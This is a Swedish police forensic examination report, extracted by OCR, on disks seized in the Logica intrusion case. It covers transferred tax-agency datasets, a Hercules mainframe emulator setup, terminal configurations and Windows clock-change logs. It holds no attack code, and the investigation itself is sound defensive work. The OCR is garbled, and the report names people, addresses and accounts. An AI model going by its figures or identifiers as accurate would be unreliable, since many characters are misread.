Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 8  
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Användarkanton . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

Kryptering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

Länkar till krypterad container . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

Fjärranslutningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  23 
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Dataset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  55 
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Polismyndigheten i Stockholms län 

Bilagor 

Bilaga 20 12-020 1 -BG25023- 1 . 1  
Bilaga 20 12-020 1 -BG25023- 1 .2 
Bilaga 20 1 2-020 1 -BG25023-26. 1 
Bilaga 20 1 2-0201 -BG25023-26.2 
Bilaga 20 1 2-020 1 -BG25023-26.3 
Bilaga 20 1 2-020 1 -BG25023-26.4 
Bilaga 20 1 2-0201 -BG25023-26.5 
Bilaga 20 1 2-020 1 -BG25023-26.6 
Bilaga 20 1 2-020 1 -BG25023-26.7 
Bilaga 20 1 2-0201 -BG25023-26 .8  
Bilaga 20 1 2-020 1 -BG25023-26.9 
Bilaga 20 1 2-020 1 -BG25023-26. 10  
Bilaga 20 1 2-020 1 -BG25023-26 . 1 1  
Bilaga 20 1 2-020 1 -BG25023-26. 12  
Bilaga 20 1 2-020 1 -BG25023-26 . 1 3  
Bilaga 20 1 2-020 1 -BG25023-26. 14  
Bilaga 20 1 2-020 1 -BG25023-26. 1 5  
Bilaga 20 1 2-020 1 -BG25023-26. 1 6  
Bilaga 20 1 2-020 1 -BG25023-26. 1 7  
Bilaga 20 1 2-020 1 -BG25023-26 . 1 8  
Bilaga 20 1 2-020 1 -BG25023-26. 1 9  
Bilaga 20 1 2-020 1 -BG25023-26.20 
Bilaga 20 1 2-020 1 -BG25023-26 .21  
Bilaga 20 1 2-020 1 -BG25023-26.22 
Bilaga 20 1 2-020 1 -BG25023-26.23 
Bilaga 20 1 2-020 1 -BG25023-26.24 

20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Dataset från Logica 
Jämförelse dataset med prefix D044 
Utdrag ur Security.evtx (46 16) 
Utdrag ur Security.evtx (4624) 
Team Viewer7 _Logfile.log 
dafasapt.log 
semaapt.log 
semaapt2.log 
sembsn.log 
inforiks .log 
e 
D384 ASCII 
aptftp.log 
ab.c 
kuku.txt 
Innehåll i ap t. tgz 
out (Gottfrid Svartholm Warg) 
out2.txt 
SSH-nycklar 
polis . log 
u3.txt 
mysec.xls 
flatline.in.conf och flatline.key 
flatline.log 
Sammanställning ur flatline.log 
screenlog.O 
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2012-0201-BG 25023-1 

Hårddisk, Seagate Barracuda 80GB, SIN: 5LS5NHW9. 

Hårddisken var löst liggande men ansluten till den stationära datorn. 
Hårddiskens kontrollerkort brann efter speglingen. 

Bild ! Hårddisk 201 2-020 1 -BG25023-1  

020 1 -K8 1 864- 1 2  

Den undersökta hårddisken har två partitioner, den första om 3 0  GB har ett Ext3 
filsystem och har använts för lagring av filer. Den andra partitionen om ca 45 
GB har inte gått att analysera. 

Bild 2 

Partitian l!NONAME[Ext3} 

Lagring av filer 

Iakttagelser och undersökningar 

Se beskrivning i beslag 20 1 2-020 1 -BG25023-2. 

Filer och kataloger 

Dataset 

Partitian 2 
Har ej gått att analysera 

I katalogen "Partitian 1/user /apt44/tmp/d044/", i den komprimerade filen 
"Partitian l/user/apt44/xaa " med underkatalogen "/Untitled0/tmp/d044/" samt 
i den komprimerade filen "Partitian l/user/apt44/nff. tar. lzma " med 
underkatalogen "lnff. tar/tmp/d044 " påträffades totalt 5 1 1  dataset med 
namnprefixet D044 1 varav 277 unika. 

Därtill påträffades i den komprimerade filen "Partitian l/user/apt44/xaa " med 
underkatalogen "/UntitledO" ett dataset med filnamnet 

1 D044 är det prefix Logica använder för dataset tillhörande Skatteverket. 
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"d345. opc.applj.g6755v00 "2 . För en fullständig förteckning se bilaga 20 1 2-
020 1 -BG25023- 1 . 1  dataset från Logica som totalt omfattar 1 3  sidor. 

S . .  O Partitian l 
i EJ . .  C) h: NONAME. [Ext3J S·{:::>t:J [roat} 

�-·Oo archive 
�-·0 � GRiv'IWDK_EN_7600_1.ISO .gz 
j..-OE) lost+fuund 
�-·0 mvs 
�-·00 plainvmO 
�--C)t:J plainvmo _diskO 
: · ·C::> rawsda . vmdk. bz2 
S··C>IC:J user 

Bild 3 

' �-·OIGJ 193. 34. 1s2. 1 

� ·0 AdobeAIRSDK. tbz2 
l - - 0 [1) air 
i - - O � AIR SDK iicense . pdf 

B··=� a�t44 
l i JC !i nff. tar . lzma 

i 1 : L . .  :e d044 1 

En jämförelse med FTP-loggar från Logica visar att samtliga 277 dataset med 
prefixet D044 finns loggade som överförda till lP-adressen 93 . 1 86 . 1 70.54 av 
användaren "NUS", under perioden den 1 9 mars klockan 2 1 :52 till och med den 
20 mars 20 1 2  klockan 14 :02. 

Vidare kan man konstatera att samtliga påträffade dataset ovan har skapats 1 5  
minuter efter det att de finns loggade som överförda i FTP-loggen. Nedan visas 
ett utdrag ur bilaga 20 1 2-020 1 -BG25023- 1 .2 jämförelse dataset med prefix 
D044 som totalt omfattar 1 5  sidor. 

Dat a s et i beslag  201 2 - 020 1 - F T P - loggar  från 
BG25023 - 1  Logi c a  

Dat a s et med p refix D044 Tid CET  F U L L_REM I P_ADDR TIMESlAMP 
l LOCAL 

USERID  

D044 . AE 7 5 PROD . PGBOKDAT 
2012 - 03 - 19 

9 3 . 186 . 170 . 54 
2012 - 0 3 - 1 9 -

NUS 
22 : 07 21 . 52 . 28 . 570000 

D044 . E E 5 2PROD . J UG . G0626V00 
201 2 - 03 - 20 

9 3 . 186 . 170 . 54 
2012 - 0 3 - 20 - l NUS 

00 : 5 3 00 . 38 . 56 . 740000 

D044 . G E 71PROD . LKFML . G0013V00 
201 2 - 0 3 - 20 

9 3 . 186 . 170 . 54 
2012 - 0 3 - 20 -

NUS 
01 : 49 01 . 34 . 57 . 210000 

D044 . 091WPROD . GRCS 
201 2 - 03 - 20 

9 3 . 186 . 170 . 54 
2012 - 0 3 - 20 - l NUS 

12 : 19 12 . 04 . 28 . 980000 

D044 . 094WPROD . E R2S 
2012 - 0 3 - 20 

9 3 . 186 . 170 . 54 
2012 - 0 3 - 20 -

NUS 
1 3 : 56 13 . 41 . 36 . 540000 

Tabell lJämförelse av dataset 

2 Prefixet d345 används enligt Logica för "Syslog bl.a." 
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2012-0201-BG25023-2 

Hårddisk, Hitachi Deskstar 80GB, SIN: T2C6EMG l .  

B ild 4Datorchassi Bild 5Hårddisk 201 2-020 1 -BG25023-2 

Den undersökta hårddisken har fem partitioner, på den första om ca 14 GB är 
ett Linux operativsystem installerat. Den andra partitionen har använts för 
systemets "boot-filer" . Tredje och fjärde partitionema om 30GB respektive ca 
8GB har inte gått att analysera. Den sista partitionen om 23GB har använts för 
lagring av filer. 

Partitian l 
Partitian 2 Partitian 5 Partitian 6 Partitian 7 

/NO NAME[ Ext3 J 
/NO NAME[ Ext3 J Har ej gått att Har ej gått att Lagring av 

Operativsystem 
Linux 

Boot filer analysera analysera filer 

B ild 6 Hårddisk 20 1 2-020 1 -BG25023-2 

Iakttagelser och undersökningar 

A v filerna "Partitian 1/etc/hastname " och "Partitian 1/etc/lacaltime " framgår 
dels att datoms namn var "metaverse" samt att den aktuella tidszonen var satt 
till ICT -7 vilket motsvarar UTC. I detta protokoll anges tidpunkter i 
centraleuropeisk tid (CET) om inte annat anges . 

Genom filen "Partitian 1/etc/netwark/interfaces " kan det vidare konstateras att 
datorn vid tillfället för undersökningen hade den lokala lP-adressen 
1 92. 1 68 . 1 .97. 

Hercules 

I materialet påträffades en så kallad Hercules emulator. Den används för att 
emulera en IBM arkitektur som kan köra en eller flera virtuella stordatorer. 

Observera att materialet är svåranalyserat eftersom filer och kataloger länkar till 
varandra samt att vissa filer inte har kunnat lokaliseras . I slutet av detta avsnitt 
finns ett sammanfattande resultat. 
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Konfiguration 

Filen "Partitian 1/startupHercules. sh " beskriver hur Hercules ska startas samt 
förberedande åtgärder, se utdrag samt beskrivning nedan. 

# ! /bin/ba s h  
iptables - t  mangle -A FORWARD - p  t c p  - -t c p - flags SYN , RST SYN - j  TCPMSS - - set - ms s  
1420 

mount /dev/ sdb7  /plain0/ 
mount / dev/ s d a l  / d i s kl/ 
swapon / p l a in0/pswapa 
swapon / d i s kl/pswapa 
c d  / d i s kl/mvs 
ulimit -c u n l imited 
hercules  -f hercules . conf 
herc ExitCode= " $ ? "  
echo  " : :  H E RC U L E S  EXiTE D  WiTH CODE ${herc ExitCode } · · " 
l s  - l  care* 
while : ; do  

read 
don e 

Utdrag l Filen "Pm1ition llstm1upHercules. sh " 

l .  "Partitian 7"  på hårddisken som detta beslag avser monteras i katalogen 
"/plainO/" 

2. "Partitian l "  på hårddisken som avses i beslag 20 1 2-020 1 -BG25023- 1  
monteras i katalogen "/diskl/" 

3 .  En swap fil skapas i katalogen "/plainO/pswapO " 
4. En swap fil skapas i katalogen "/diskl/pswapO " 
5 .  Hercules startas med konfigurationsfilen som ligger i 

"ldiskl/mvslhercules. conf" 

Konfigurationsfilen "Partitian 1/hercules. con!" i beslag 20 1 2-020 1 -BG25023- 1  
laddas av emulatom se utdrag samt beskrivning nedan. 

# 
# Configu ration file for Hercules  & I BM ADCD z/OS 1 . 4  
# 

CPUSE RIAL 000420 
CPUMOD E L  9672 
#MAINSIZE  1500 
MAINSIZE  786 
XPNDSI Z E  0 
CNS L PORT 3272  
HTTPPORT 8082 
NUMC PU 4 
NUMVEC l 
TZO F F S E T  +0000 
OSTAI LOR OS/390 
PANRATE FAST 
ARCHMODE E SAME 
PGMPRDOS LICENSED  

# 
# I P L  pa rameter  
# 
#LOADPARM 0A8200 . .  
#LOADPARM 0A82AW . .  
LOADPARM 0A82CS . .  
# 

# CPU serial  number 
# CPU rnadel number 

# Main  storage s ize i n  megabytes 

# Expanded  storage s i z e  i n  megabytes  
# TCP port n umber to wh i c h  consales  connect  

# HTTP  s e rver 
# Number of CPUs 
# Ve ctor fa c i lities  emulated 

# os t a i loring 
# Panel  refresh  rate 
# Arc h itecture mode S/370,  ESA/ 390 or  ESAME 
# Allow OS/390 a n d  Z/OS systems to run  

# 0A82xx . .  xx : one of the  following 
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# 
# C5 
CIC5,  DB2,  
# 00 
IM5 , WA5 , 
# W5 
IM5 , WA5 , 
# DC 
a n d  CIC5 . 
# DB 

C L PA and  cold start of J E52 . Base  z/05 system functions  i . e .  no 
IM5 , WA5 , etc . 

Warm start of J E52 . Bas  e z/05 system functions  i .  e .  no CIC5,  DB2,  
etc . 

W a rm start of J E52 . Bas  e z/05 system functions  i .  e .  no CIC5,  DB2,  
et c . 

C L PA, brings  i n  CIC5 L PA mod u l e s ,  c o l d  start of J E52 ,  starts  up  DB2 

Warmstart of J E52  and  start s  the  DB2 and  CIC5 . 
# DI  C L PA and  cold  start of J E52 a n d  loa d s  the  IM5 L i b r a ries . IM5 must be 
manually started . 
# CC C L PA and  cold  sta rt of J E52,  loa d s  the  CIC5 L i b ra ries , starts up 
CIC5, no DB2 . 
# CW Warm start of J E5 2 ,  and  start s  u p  CIC5 . 
# 2C C L PA, cold start of J E5 2 ,  starts  up  DB2, no CIC5 . 
# 2W Warm start of J E5 2 ,  starts  u p  DB2,  no CIC5 . 
# IC  C L PA and  cold  start of J E52 a n d  load the  IM5 Librarie s ,  start IM5 , 
no DB2 or CIC5 . 
# IW Wa rm start of J E52  start IM5 , no DB2 or  CIC5 . 
# AC C L PA a n d  cold  sta rt of J E52 load IM5 and  CIC5 l i b r a rie s ,  start IM5 , 
DB/ 2 ,  and  CIC5 . 
# AW Warmstart of J E52 . start IM5 , DB/2 ,  and  CIC5 . 
# BC C L PA and cold  sta rt of J E52 ,  load WA5 libra rie s ,  WA5 i s  manually 
started 
# BW 
# 99 

Warmst a rt of J E52 . WA5 i s  man u a l ly started . 
Point s to IODF99 for I P L  on MP3000 . 

# Reply 00, 5Y5P=xx were xx i s  any of the  above options i . e .  for c i c s  only xx=c c  
or  cw . 

# Device  list  
#- - -
0700 3270 
0701 3270 
0702 3270 
0703 3270 
0900 3270 
0901 3270 
0902 3270 

0A80 
0A81 
0A82 
0A83  
0A84 
0A85  
0A86 
0A87 
0A88 
0A89 
0A8A 
0A8B 
0A8C 
0A8D 
0A8 F 

0420 

3390 
3 390 
3390 
3 390 
3390 
3 390 
3 390 
3390 
3 390 
3 390 
3 390 
3390 
3 390 
3 390 
3390 

s4res 1 . a80 
s4res 2 . a81 
os39m1 . a82 
s4db21 . a83  
s4c i c l . a84 
s4d i s l . a85  
s4d i s 2 . a86 
s4us s 1 . a87 
s4d i s 3 . a88 
s4ims 1 . a89 
s4wa s 1 . a8a 
s4wa s 2 . a8b 
s a re s 1 . a8c  
s4dis4 . a8d 
s a i pl l . a8f 

3390 / p l a i n 0/mvs /mvpln042 . 420 
##0E20, 0E21  CTCI 192 . 168 . 202 . 1  192 . 168 . 202 . 2  
#0E 20 , 0E21  CTCI 192 . 168 . 1 . 41 192 . 168 . 1 . 40 
0E20, 0E21  CTCI 192 . 168 . 1 . 42 192 . 168 . 1 . 40 
#0530 , 0531  CTCI 192 . 168 . 202 . 1  192 . 168 . 202 . 2  

Utdrag 2 Filen "Pa11ition 1/hercules.conf" 

Den markerade filen "/plain0/mvs/mvpln042.420 " är troligen en virtuell 
hårddisk men har inte kunnat lokaliseras . 
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De markerade lP-adresserna 192. 1 68 . 1 .42 och 1 92 . 1 68 . 1 .40 har använts på 
varsin sida av en intern kommunikationstunnel där 1 92. 1 68 . 1 .42 tillhör den 
virtuella stordatorn i Hercules medan 1 92. 1 68 . 1 .40 tillhör värdsystemet 
Metaverse. Se bild nedan. 

Li n u x/x86 Drivi n g  System 

Hercules et hO 
TCP/I P N etwork  

OS/390 192.168. 1.97 

TCP/ I P  

CTCI 

192.168 . 1 .42 

l 192. 168. 140 
/dev/t u n  

t u n  O l 
Virtu a l  CTC l i n  k 

Bild 7 

Terminalanslutningar till Hercules 

För att ansluta till en virtuell eller fysisk stordator krävs en programvara, en så 
kallad terminal emulator. I beslag 20 1 2-020 1 -BG25023-26 påträffades två 
sådana program, "wc3270" och "Mocha tn3270" 

Bild 8 På skrivbordet fanns genvägar till både "Mocha TN3270" och "wc3270" 

358 

1 1  



Undersökn ingsprotokol l  beslag 20 1 2-020 1 -BG25023 Log ica ,  20 1 3-03-28 07:38 d iarienr :  020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

wc3270 

I wc3270 fanns två sparade konfigurationer " ADCD on Metaverse" och "SSL" . 
Båda pekar på lP-adressen 1 92. 168 . 1 .42. Se utdrag ur konfigurationsfilerna 
nedan. 

! wc3270 s e s s ion ' ADCD on Met averse ' 
! C reated by the  wc3270 v3 . 3 . 12ga7 s e s s ion wizard  Fri  Oct 21 07 : 3 5 : 44 2011 
wc3270 . hostname : 192 . 168 . 1 . 42 
wc3270 . model : 4 
wc3270 . c h a r s et : brae ket 
wc3270 . autoShort c ut : t rue 

The following block  of text i s  u s ed to read the  contents of this  file  b a c k  
i n t o  t h e  S e s s ion Wizard . If  any o f  the  text from the  t o p  o f  t h e  f i l e  
t h rough the  line  below reading  "Additional  resource definitions  . . .  " i s  
modified , the  Ses s ion Wizard w i l l  not be a b l e  to edit t h i s  file . 

x41444344206f6e204d6574617665727365000000000000000000000000000000 
x0000000000000000000000000000000000000000000000000000000000000000 

Utdrag 3 Utdrag ur filen "Partitian 3\Users'v:J\AppData\Roaming\wc327rMDCD on Metaverse. wc3270 " på beslag 
2012-0201 -BG25023-26. 

! wc3270 s e s s ion ' s s l ' 
! C reated by the  wc3270 v3 . 3 . 12ga7 s e s s ion wizard Sun  Apr 01 16 : 47 : 05 2012 
wc3270 . hostname : L : 192 . 168 . 1 . 42 : 992 
wc3270 . model : 4 
wc3270 . c ha rset : brae ket 
wc3270 . a utoShort c ut : t rue 

The following block  of text i s  used  to read the  contents of this  file  b a c k  
i n t o  the  Sess ion Wizard . If  any o f  the  text from the  t o p  o f  t h e  file 
t h rough t h e  line  below reading  "Ad d itional  resource definitions  . . .  " i s  
mod ified , the  Ses s ion  Wiza rd w i l l  not be a b l e  to edit t h i s  file . 

! x73736c0000000000000000000000000000000000000000000000000000000000 
! x0000000000000000000000000000000000000000000000000000000000000000 

Utdrag 4 Utdrag ur filen "Partitian 3\Users'v:J\AppData\Roaming\wc3270\ ss l. wc3270 " på beslag 201 2-020 1 -BG25023-
26. 

Mocha TN3270 

I Mocha TN3270 fanns två sparade konfigurationer "MAN Vs SYSTEM" och 
"manvssys". Båda pekar på lP-adressen 1 92. 168 . 1 .42 samt port 992. 

I den förstnämnda kan det även konstateras att an vändarnamnet APT20 1 1  
används . 
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O tn 3270 
. :'%1 

v.iew Taals He1p 

Era se 

Connect. • •  

Disconnect 
Page Seb.Jp . . .  

Print 

Print Preview . . .  

Mail . . .  

Bild 9 I tn3270 fanns två sparade anslutningar benämnda "MAN V s SYSTEM" och "manvssys" 

View Tools r:! Ed it/New Session '> 
Name: 

1 1 8M Mainflf'ame l P  Address : j 1 92. 168. 1 .42 
l Port mrmber: 1992 P" SSL 

Terminal size: r 32xso r. 24x80 

�Auto Login {optional) -;::::::::::::=====:;;----� 
User : IAPT201 1  
Password : 

r 6nahle Auto Login 

r E:åt on session termination 

r Confirm Exit 

r Send keep alive 

r Cormect to this I BM Mainframe on program start Hel p 

Del e te 

Offlifle 

Bild lO Inställningar för anslutning till "MAN Vs SYSTEM" 
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Polismyndigheten i Stockholms län 

View Tools 

20 1 3-0 1 -2 1  

Name: 

I BM Maioffarne l P  Address : b9!:.168. 1  . .g 

Port rrumber: l� 
Terminal s·ize: r. 32x00 

P SSL 

r 24x00 

020 1 -K8 1 864- 1 2  

Amo loWn (�ti�)--------------------------� 

User : 

Password : 

r Enab!e Amo Login 

r �it on session termination 

r Confinn Exit 

r Send keep alive 

r Connect to this I BM Maioffarne on prog ram start Help 

Cancel Delete Conn.ect 

Offline 

Bild l !  Inställningar för anslutning til l  "manvssys" 

Filen hosts 

Filen "Partitian 3:\ Windows\System32\drivers\etc\hosts " ,  används för att göra 
översättningar mellan datornamn och lP-adresser. I filen påträffades bland annat 
en översättning från datornamnet "manvssys" till lP-adressen 1 92. 168 . 1 .42. 

Nedan visas filen "Partitian 3:\Windows\System32\drivers\etc\hosts " i sin 
helhet. 

# Copyright ( c )  1993 - 2009 Mic rosoft Corp . 
# 
# This  i s  a sample HOSTS file  used  by Mic rosoft TCP/ I P  for Windows . 
# 
# Th i s  file cont a i n s  the  mappings  of I P  addres s e s  to host names . E a c h  
# entry s h o u l d  b e  kept on a n  i n d ividual  line . The I P  a d d r e s s  should  
# be placed i n  the  first column fol lowed by  the  corresponding  host name . 
# The I P  addres s a n d  the  host n ame s hould be sepa rated by at least one 
# space . 
# 
# Additionally,  c omments ( s u c h  a s  t h e s e )  may be i n serted on individual  
# lines  or  following the  ma c h i n e  n ame denoted by  a ' # '  symbol . 
# 
# For  example : 
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# 
# 
# 

102 . 54 . 94 . 97 
38 . 25 . 63 . 10 

rhino . a cme . c om 
x . a cme . com 

# source  server 
# x c lient host 

# localhost name resolution i s  handled with i n  DNS itself . 
# 127 . 0 . 0 . 1  loc a l host 
# : : 1 

127 . 0 . 0 . 1  

127 . 0 . 1 . 1  
#127 . 0 . 1 . 1  
127 . 0 . 1 . 1  
#127 . 0 . 1 . 1  

192 . 168 . l .  97 
192 . 168 . 1 . 42 

10 . 140 . 0 . 242 
10 . 140 . 0 . 241 
10 . 140 . 0 . 18 
10 . 140 . 0 . 19 
10 . 140 . 0 . 49 
10 . 140 . 128 . 10 

loc a l host 

localhost 

u . ppjol . com s . ppjol . net 
a j ax . googlea p i s . com 

facebook . com 
code . j q uery . com 

metaverse metaverse . mvs 
manvssys  manvssys . mv s  

flec hette . vpn . aldev 
vpn . aldev 
rea llabb . a ldev 
alps0 . a ldev 
d p0 . a ldev 
rxmix . offsite . a ldev 

Utdrag 5 Filen "Partitian 3:\Windows\System32Vlrivers\etcVwsts " 

Sammanfattning 

020 1 -K8 1 864- 1 2  

Trots att det inte gått att göra en fullständig analys forensisk analys av den 
virtuella stordatorn finns det uppgifter som talar för att: 

• den har haft lP-adressen 1 92. 168 . 1 .42 
• den har haft namnet "manvssys" 
• det har funnit en användare som heter APT20 1 1  

2012-0201-BG25023-3 

USB-minne Kingston Datatraveler 2GB 

Bild 12USB-minne Bild 1 3USB-Minne 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 
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2012-0201-BG25023-4 

USB-minne Kingston Datataveler 2GB 

Bild 14USB-minne Bild 1 5  USB-rninne 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG 25023-5 

USB-minne Sandisk Cruzer Mini 4GB 

Bild 1 6  

Iakttagelser och undersökningar 

Innehållet har inte gått att analysera. 

2012-0201-BG 25023-26 

Bild 1 7  

Dator MaeBook Pro A1297, SIN: C02CF1 WXDC79 
Hårddisk Hitachi 500GB, SIN:  IX0 140QATDWPA 

020 1 -K8 1 864- 1 2  
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Bild 1 8MaeBook Pro Bild 19 MaeBook Pro 

Bild 20 Hårddisk i MaeBook Pro Bild 21 Tangentbord 

På den undersökta hårddisken fanns två operativsystem installerade, Mae OS 
och Windows 7 på varsin partition. Partitionen tOO l a  förklaras närmare under 
rubriken "Kryptering" 

Partitian l Partitian 2 Untitled 

EFJ 
(HFS+)  

Boatfiler 
Operativsystem 

Mac OS 

Bild 22  Partitioner på hårddisk i MaeBook Pro 

Iakttagelser och undersökningar 

Mac-partitionen 

Partitian 3 
Boatcamp (NTFS) 

Operativsystem 
Windows 7 

tOO la  � krypterad 
container 

På partitionen med Mae OS fanns ett användarkonto, "a " .  Användarkatalogen, 
där användarens data normalt sparas, var krypterad. När användardatan 
dekrypterats framgick av fildatumen att ingen fil under användarkontot "a" 
ändrats efter den 2 1  november 20 10. Av övriga filer på partitionen, utanför den 
krypterade delen, var ett mindre antal ändrade den l O juli 20 1 1 . Huvuddelen var 
enligt tidsstämplama ändrade den 2 1  november 20 1 0  eller tidigare. 

En sökning efter ord och begrepp som var relevanta för intrånget hos Logica 
och Nordea gav inga träffar som kunde relateras till brotten. 
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Windows-partitionen 

Windows 

Av Windows registerfil "Partition 3\Windows\System32\config\SYSTEM" 
framgick att datoms namn var "FLECHETTE" och den aktuella tidszonen var 
satt till UTC. Tiden i Windows visades i 1 2-timmarsklocka. I detta protokoll 
anges tidpunkter i centraleuropeisk tid (CET) om inte annat anges . Enligt 
Elisabeth Gummesson på Logica är tidpunkter i deras loggfiler angivna i CET. 

Av ett registervärde i "Partition 3\Windows\System32\config\SOFTWARE' 
framgår att Windows installerades den 1 1  juli 20 1 1 .  

�l·CJ Windows Messa gin g  Subsystem 
� '-U1 1 �1 1'- " CI ;t1VI I " ·'-"' J'- u . .  

� CurrentBui ld REG_SZ 7600 B · � Windows NT � Software Type REG_SZ System ! &J ... � Gi!.iJsJii§MJ.J.j !�r· •T. RFG <.7 . • FrPP oo··CJ Windows Photo Viewer l� lnstai iDat� REG DWORD Ox4E1 ABFE7 ( 1 3 1 037591 1 )  l i±! Windows Portable Devices $ Windows Script Host · � Reg isteredOrganization REG_SZ (va lue not set) 

00·· Windows Search � Reg isteredOwner REG_SZ a 

i··· CJ Virsual Studio � SystemRoot REG_SZ C:\Windows 

Bild 23 Tidpunkt för installation av Windows 

Det markerade värdet " 1 3 103759 1 1 "  är tidpunkten för installation angiven i 
"UNIX time" . Värdet motsvarar den 1 1  juli 20 1 1  klockan 9 . 1 8  (UTC) .  

På  Windows-partitionen återfanns en  katalog kallad "Windows .old" . Katalogen 
skapas normalt när man installerar eller uppgraderar Windows på en dator där 
det redan finns ett Windows operativsystem installerat. Katalogen innehåller en 
back-up av den tidigare installationen av Windows .  På motsvarande sätt som 
ovan fanns ett installationsdatum även för denna installation av Windows i filen 
"Partition 3\Windows. old\Windows\System32\config\SOFTWARE':  

ffi. EJ Windows Messagin g  Subsystem 
._..,. - - - · -- - - - - - - - - - - - -- --- . . 
� CurrentBuild REG_SZ 7600 B·· l23 Windows NT � SoftwareType REG_SZ System j ffi ... ij iji!.i§.!pdtil·hi �CurrentType REG SZ Multiprocessor Free �·· Windows Photo Viewer l�nsta i iDate REG_DWORD Ox4CE20424 (11 28988061 2) $··CJ Windows Portable Devices 

ltl Windows Script Host � RegisteredOrganization REG_SZ (va lue not set) 

I±J · Windows Search � Registered Owner REG_SZ a 

i····Ll Virtual Machine � SystemRoat REG_SZ C:\Windows 

i±! Wisp � Instal lation Type REG_SZ C lient � CJ Visua iStudio � Edition ID REG_SZ Ult imate 

Bild 24 Tidigare installation av Windows 

Det markerade värdet " 1 2898806 1 2" är tidpunkten för installation angiven i 
"UNIX time". Värdet motsvarar den 1 6  november 20 1 0  klockan 4 . 1 0  (UTC) .  

Ingen av registerfilerna i Windows .old-katalogen var ändrade efter den 1 1  juli 
20 1 1 .  

Tidsinställning 

Flera av de loggfiler som presenteras senare i detta dokument innehåller 
uppgifter om inloggningar mot, och filöverföringar till och från, Logicas 
servrar. På flera ställen i loggfilerna syns en tidsstämpel från Logicas servrar 
och i vissa fall även en tidsstämpel från den lokala datorn i samma dokument. 

l 
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Gemensamt för dessa tidsangivelser, Logicas kontra den lokala datorn, är att det 
i flera loggfiler skiljer ungefär 124 timmar och 1 2  minuter i förhållande till CET 
( 1 25 timmar och 12  minuter i förhållande till UTC). Detta beskrivs närmare 
under rubriken lP-adresser. 

I Windows loggas normalt systemhändelser som tidsomställningar, 
inloggningar, programinstallationer, programfel och en rad andra ändring i 
systemet. Dessa händelser sparas normalt i olika filer ( .evtx) under katalogen 
"Windows\System32\winevt\Logs\" . Alla händelser tilldelas ett nummer, 
"Record", i stigande ordning allt efter som händelserna sker. En av dessa 
loggfiler är "Security.evtx". 

F I LNAMN j SÖKVÄG 

Sec u rity . evtx l Windows\System32\winevt \ Logs \Se c u rity . evtx 
SKAPAD 2811 - 87 - 11 88 : 5 5 : 42 UTC 
S E NAST ÄNDRAD 2812 - 88 - 29 23 : 16 : 13 UTC 
STOR L E K  28 975 616 B ( 28 , 88 MB ) 

"Security.evtx" innehåller bl .a .  uppgifter om olika typer av inloggningar gjorda 
på datorn och om omställningar av datoms klocka. Enbart att starta upp en dator 
med Windows 7 kan generera lO-tals olika "Records" bara i "Security.evtx" . 

Om man ställer om klockan innan Windows startat, i "bios-läge", kommer detta 
inte att registreras i "Security.evtx" . Problem med batterier och 
strömförsörjningen kan också göra att datorn "tappar" sin tidsinställning och 
börjar om med den l januari 200 1 .  Inte heller detta kommer att synas som en 
omställning av klockan i Windows händelseloggar. 

På den undersökta datorn återfanns ett flertal omställningar av klockan. I 
tabellen nedan visas ett utdrag ur "Security.evtx". Om klockan ställs om genom 
att man ansluter till en tidsserver på intemet visas normalt "Local Service" i 
tabellen under "SubjectUserName".  Om man manuellt ändrar tiden visas det 
normalt med ett användarnaron under "SubjectUserName". Den sista kolumnen 
i tabellen kommer inte från "Security.evtx" utan är skapad för att visa vilka 
justeringar som görs av klockan. 

Record# EventiD New Time 

19167 4616 
2012 - 0 2 - 1 2  
13 : 01 : 49 

19168 : 4616 
2012 - 0 2 - 12 
13 : 01 : 49 

19169 4616 
2012 - 02 - 12 
13 : 01 : 49 
201 2 - 0 2 - 28 

20106 4616 
05 : 18 : 24 

20107 4616 
2012 - 02 - 28 
05 : 18 : 24 

22359  4616 
2012 - 0 3 - 29 
13 : 47 : 17 

22360 4616 
2012 - 03 - 29 
13 : 47 : 17 

22365  4616  
2012 - 03 - 29 
20 : 47 : 31 

22366 4616 
2012 - 03 - 29 
20 : 47 : 31 

22597  4616  
2012 - 03 - 31 
12 : 49 : 30 

Previous 

2012 - 0 2 - 12 
01 : 00 : 16 

S u b j e c t  
Dernai n Name 

NT AUTHORITY 

SubjectUser  
Name  

LOCAL S E RVICE  

2012 - 0 2 - 12 
NT AUTHORITY 1 LOCAL S E RVICE  

13 : 01 : 49 
201 2 - 0 2 - 1 2  

NT AUTHORITY 
1 3 : 01 : 49 
2001 - 0 1 - 0 5  l 
05 : 18 : 24 

F l e c hette 

201 2 - 02 - 28 
F l e c h ette 

05 : 18 : 24 
201 2 - 04 - 0 3  

F l e c hette 
13 : 47 : 17 
2012 - 03 - 29 

F l e c h ette 
13 : 47 : 17 
2012 - 0 3 - 29 

F l e c h ette 
13 : 47 : 33 
201 2 - 03 - 29 

flechette 
20 : 47 : 31 
201 2 - 04 - 01 

NT AUTHORITY 
01 : 00 : 17 

LOCAL S E RVICE  

Adm i n i st rator 

Admin i st rator 

Admin ist rator 

Admin i strator 

Admi n i st rator 

Admin i s t rator 

LOCAL S E RVIC E  

s killnad  

- 1 20 : 00 : 00 

+06 : 59 : 5 8 

- 12 : 10 : 47 
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22598 4616 
2012 - 0 3 - 3 1  2012 - 03 - 3 1  

N T  AUTHORITY l LOCAL S E RVICE l 
